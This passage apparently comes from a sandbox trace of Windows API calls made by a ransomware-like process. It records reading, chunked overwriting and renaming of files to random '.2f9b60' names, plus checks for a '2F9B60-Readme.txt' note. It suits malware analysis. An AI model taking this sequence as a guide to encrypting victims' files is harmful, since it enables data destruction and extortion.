1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5f0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0136.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202792b0 [0136.557] wcscat (in: _Dest=0x202792b0, _Source="ec7f00c288ee8bf2e9" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9" [0136.557] wcscat (in: _Dest=0x202792b0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60" [0136.557] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60", NtPathName=0x313cf650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776690 [0136.557] NtSetInformationFile (FileHandle=0x1d50, IoStatusBlock=0x313cf6f0, FileInformation=0x1b776690, Length=0xce, FileInformationClass=0xa) returned 0x0 [0136.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0136.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0136.651] NtQueryInformationFile (in: FileHandle=0x1d50, IoStatusBlock=0x313cf6b8, FileInformation=0x313cf6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x313cf6b8, FileInformation=0x313cf6c8) returned 0x0 [0136.651] NtSetInformationFile (FileHandle=0x1d50, IoStatusBlock=0x313cf6b8, FileInformation=0x313cf6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0136.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506590) returned 1 [0136.653] FlushFileBuffers (hFile=0x1d50) returned 1 [0138.537] CloseHandle (hObject=0x1d50) returned 1 [0138.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d420 [0138.642] wcscpy (in: _Dest=0x2050d420, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.642] wcscat (in: _Dest=0x2050d420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.642] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0x20 [0138.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0138.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 Thread: id = 1980 os_tid = 0x11c8 [0136.101] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl")) returned 0x2020 [0136.102] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl", dwFileAttributes=0x20) returned 1 [0136.102] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d54 [0136.102] GetFileSizeEx (in: hFile=0x1d54, lpFileSize=0x314bfdc0 | out: lpFileSize=0x314bfdc0*=131072) returned 1 [0136.102] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.103] ReadFile (in: hFile=0x1d54, lpBuffer=0x314bfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x314bfd88, lpOverlapped=0x0 | out: lpBuffer=0x314bfd40*, lpNumberOfBytesRead=0x314bfd88*=0x4, lpOverlapped=0x0) returned 1 [0136.249] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0136.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0136.249] NtQuerySystemTime (in: CurrentTime=0x314bfc80 | out: CurrentTime=0x314bfc80*=132462177414838000) returned 0x0 [0136.249] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x6edad87b [0136.249] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x4ac6838f [0136.249] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x6b29ecd4 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x3e0abfab [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x30b34dbd [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x22ee67ab [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x1aa49f78 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x4182d3f9 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x13648873 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x210fc15b [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x3b38eb72 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x6ee902fe [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x58d41db0 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x6e29c098 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x13a2547b [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x237227f [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x4ac6838f [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x52023161 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x2fa4825f [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0xeded250 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x5bec8d91 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x56ff6332 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x1328788c [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x17a9ae5e [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x3abc5ff7 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x3bd886e6 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0xb54de56 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x41107504 [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x7f5da6f [0136.250] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x652f1d14 [0136.251] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x5611bd24 [0136.251] RtlRandomEx (in: Seed=0x314bfc70 | out: Seed=0x314bfc70) returned 0x16230475 [0136.261] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.261] ReadFile (in: hFile=0x1d54, lpBuffer=0x20360910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.341] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42073100 [0136.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.359] WriteFile (in: hFile=0x1d54, lpBuffer=0x42073100*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x42073100*, lpNumberOfBytesWritten=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42073100) returned 1 [0136.440] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.441] ReadFile (in: hFile=0x1d54, lpBuffer=0x20360910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.495] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0136.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20324520 [0136.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.497] WriteFile (in: hFile=0x1d54, lpBuffer=0x20324520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesWritten=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0136.521] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x1c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.521] ReadFile (in: hFile=0x1d54, lpBuffer=0x20360910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x20360910*, lpNumberOfBytesRead=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.541] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x1c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0136.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0136.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6b0) returned 1 [0136.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.543] WriteFile (in: hFile=0x1d54, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x314bfce0, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x314bfce0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0136.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8e50 [0136.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20360910) returned 1 [0136.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f1f0 [0136.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ecf0 [0136.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x152) returned 0x133ce0 [0136.662] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.662] WriteFile (in: hFile=0x1d54, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x314bfd90, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x314bfd90*=0x152, lpOverlapped=0x0) returned 1 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0136.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97c60 [0136.671] sprintf (in: _Dest=0x1cd97c60, _Format="%c%c" | out: _Dest="ef") returned 2 [0136.671] sprintf (in: _Dest=0x1cd97c62, _Format="%c%c" | out: _Dest="23") returned 2 [0136.671] sprintf (in: _Dest=0x1cd97c64, _Format="%c%c" | out: _Dest="d9") returned 2 [0136.671] sprintf (in: _Dest=0x1cd97c66, _Format="%c%c" | out: _Dest="f5") returned 2 [0136.671] sprintf (in: _Dest=0x1cd97c68, _Format="%c%c" | out: _Dest="8e") returned 2 [0136.671] sprintf (in: _Dest=0x1cd97c6a, _Format="%c%c" | out: _Dest="46") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c6c, _Format="%c%c" | out: _Dest="0a") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c6e, _Format="%c%c" | out: _Dest="b2") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c70, _Format="%c%c" | out: _Dest="a1") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c72, _Format="%c%c" | out: _Dest="a9") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c74, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c76, _Format="%c%c" | out: _Dest="70") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c78, _Format="%c%c" | out: _Dest="77") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c7a, _Format="%c%c" | out: _Dest="4a") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c7c, _Format="%c%c" | out: _Dest="4a") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c7e, _Format="%c%c" | out: _Dest="c4") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c80, _Format="%c%c" | out: _Dest="d3") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c82, _Format="%c%c" | out: _Dest="06") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c84, _Format="%c%c" | out: _Dest="1e") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c86, _Format="%c%c" | out: _Dest="dd") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c88, _Format="%c%c" | out: _Dest="c6") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c8a, _Format="%c%c" | out: _Dest="8b") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c8c, _Format="%c%c" | out: _Dest="d9") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c8e, _Format="%c%c" | out: _Dest="cb") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c90, _Format="%c%c" | out: _Dest="2a") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c92, _Format="%c%c" | out: _Dest="3d") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c94, _Format="%c%c" | out: _Dest="fe") returned 2 [0136.672] sprintf (in: _Dest=0x1cd97c96, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.673] sprintf (in: _Dest=0x1cd97c98, _Format="%c%c" | out: _Dest="c7") returned 2 [0136.673] sprintf (in: _Dest=0x1cd97c9a, _Format="%c%c" | out: _Dest="9e") returned 2 [0136.673] sprintf (in: _Dest=0x1cd97c9c, _Format="%c%c" | out: _Dest="76") returned 2 [0136.673] sprintf (in: _Dest=0x1cd97c9e, _Format="%c%c" | out: _Dest="19") returned 2 [0136.673] RtlInitAnsiString (in: DestinationString=0x314bfe08, SourceString="ef23d9f58e460ab2a1a9c970774a4ac4d3061eddc68bd9cb2a3dfec9c79e7619" | out: DestinationString="ef23d9f58e460ab2a1a9c970774a4ac4d3061eddc68bd9cb2a3dfec9c79e7619") [0136.673] RtlAnsiStringToUnicodeString (in: DestinationString=0x314bfdd8, SourceString="ef23d9f58e460ab2a1a9c970774a4ac4d3061eddc68bd9cb2a3dfec9c79e7619", AllocateDestinationString=1 | out: DestinationString="ef23d9f58e460ab2a1a9c970774a4ac4d3061eddc68bd9cb2a3dfec9c79e7619") returned 0x0 [0136.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5a00 [0136.673] RtlFreeAnsiString (AnsiString="e") [0136.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0136.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ecf0) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f1f0) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0136.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a660) returned 1 [0136.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202792b0 [0136.675] wcscat (in: _Dest=0x202792b0, _Source="ef23d9f58e460ab2" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2" [0136.675] wcscat (in: _Dest=0x202792b0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60" [0136.675] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60", NtPathName=0x314bfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0136.675] NtSetInformationFile (FileHandle=0x1d54, IoStatusBlock=0x314bfe50, FileInformation=0x1b776690, Length=0xca, FileInformationClass=0xa) returned 0x0 [0136.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0136.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291f50) returned 1 [0136.678] NtQueryInformationFile (in: FileHandle=0x1d54, IoStatusBlock=0x314bfe18, FileInformation=0x314bfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x314bfe18, FileInformation=0x314bfe28) returned 0x0 [0136.678] NtSetInformationFile (FileHandle=0x1d54, IoStatusBlock=0x314bfe18, FileInformation=0x314bfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0136.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5a00) returned 1 [0136.679] FlushFileBuffers (hFile=0x1d54) returned 1 [0138.538] CloseHandle (hObject=0x1d54) returned 1 [0138.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862510 [0138.643] wcscpy (in: _Dest=0x1b862510, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.643] wcscat (in: _Dest=0x1b862510, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.643] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0x20 [0138.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 [0138.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8620f0) returned 1 Thread: id = 1981 os_tid = 0x11cc [0136.105] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml")) returned 0x20 [0136.108] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml", dwFileAttributes=0x20) returned 1 [0136.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), dwDesiredAccess=0xc0010000, 